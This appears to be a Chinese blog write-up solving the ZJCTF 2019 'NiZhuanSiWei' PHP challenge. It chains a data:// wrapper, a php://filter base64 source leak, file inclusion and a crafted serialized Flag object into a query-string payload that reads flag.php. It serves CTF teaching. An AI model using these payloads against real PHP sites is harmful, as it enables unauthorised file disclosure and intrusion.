[ZJCTF 2019]NiZhuanSiWei - 伪协议+文件包含+反序列化

ZJCTF 2019NiZhuanSiWei

  • [1 解题流程](#1 解题流程)
    • [1.1 分析](#1.1 分析)
    • [1.2 解题](#1.2 解题)

题目源码:

php 复制代码
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

1 解题流程

1.1 分析

1、get传text、file、password参数

2、file_get_contents($text,'r')的内容要等于welcome to the zjctf才能继续,我们又不知道哪个文件是这个内容,所以直接data伪协议传文件

3、file值不能包含flag

4、提示我们去包含useless.php(先看源码再包含)

5、password需要传递序列化数据(肯定有类给我们)

1.2 解题

  1. ?text=data://text/plain,welcome to the zjctf

  2. ?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

    php 复制代码
    PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo
    
    解码得到:
    <?php  
    	class Flag{  //flag.php  
    	    public $file;  
    	    public function __tostring(){  
    	        if(isset($this->file)){  
    	            echo file_get_contents($this->file); 
    	            echo "<br>";
    	        return ("U R SO CLOSE !///COME ON PLZ");
    	        }  
    	    }  
    	}  
    ?>  
  3. flag在flag.php中,我们的目标是toString的file_get_contents
    构造pop链

    php 复制代码
    <?php  
    	class Flag{  //flag.php  
    		public $file;  
    		public function __tostring(){  
    			if(isset($this->file)){  
    				echo file_get_contents($this->file); 
    				echo "<br>";
    				return ("U R SO CLOSE !///COME ON PLZ");
    			}  
    		}  
    	}  
    	$f = new Flag();
    	$f->file = "flag.php";
    	echo serialize($f);
    ?>  
    得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  
  4. payload=?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    注意:此时file需要真正包含useless.php

相关推荐
XR1234567887 小时前
工厂车间无线网络方案对比:AGV漫游哪家强?
开发语言·php
現実君8 小时前
【硬件进阶】AD22上位替换JLEDA教程
开发语言·php
论迹复利13 小时前
CRA 罚则 + 合规优先级矩阵
安全·cra·psa
聚铭网络14 小时前
狂飙的AI,失控的安全……
人工智能·安全
jieyucx14 小时前
【高级利用】条件竞争与逻辑漏洞:与服务器赛跑的艺术
android·运维·服务器·web安全·文件上传
宁小法14 小时前
php - request_terminate_timeout解释
php·php-fpm·进程终止·请求终止超时
苏灿烤鱼15 小时前
GitHub Trending 日报|Agent 记忆登顶,老牌项目集体返场
安全·agent·资讯
星恒讯工业路由器16 小时前
网络安全访问控制规则详解
网络·安全·智能路由器·访问控制·防火墙规则·工业网络安全
studyrunner17 小时前
【AI开源】reverse-skill 实战教程:为 Claude Code、Cursor、Cline、Codex 配置 AI 逆向与安全技能路由
人工智能·安全·开源
郝亚军18 小时前
FE1.1S-BQFN24BT可以指定IP端口吗?
开发语言·php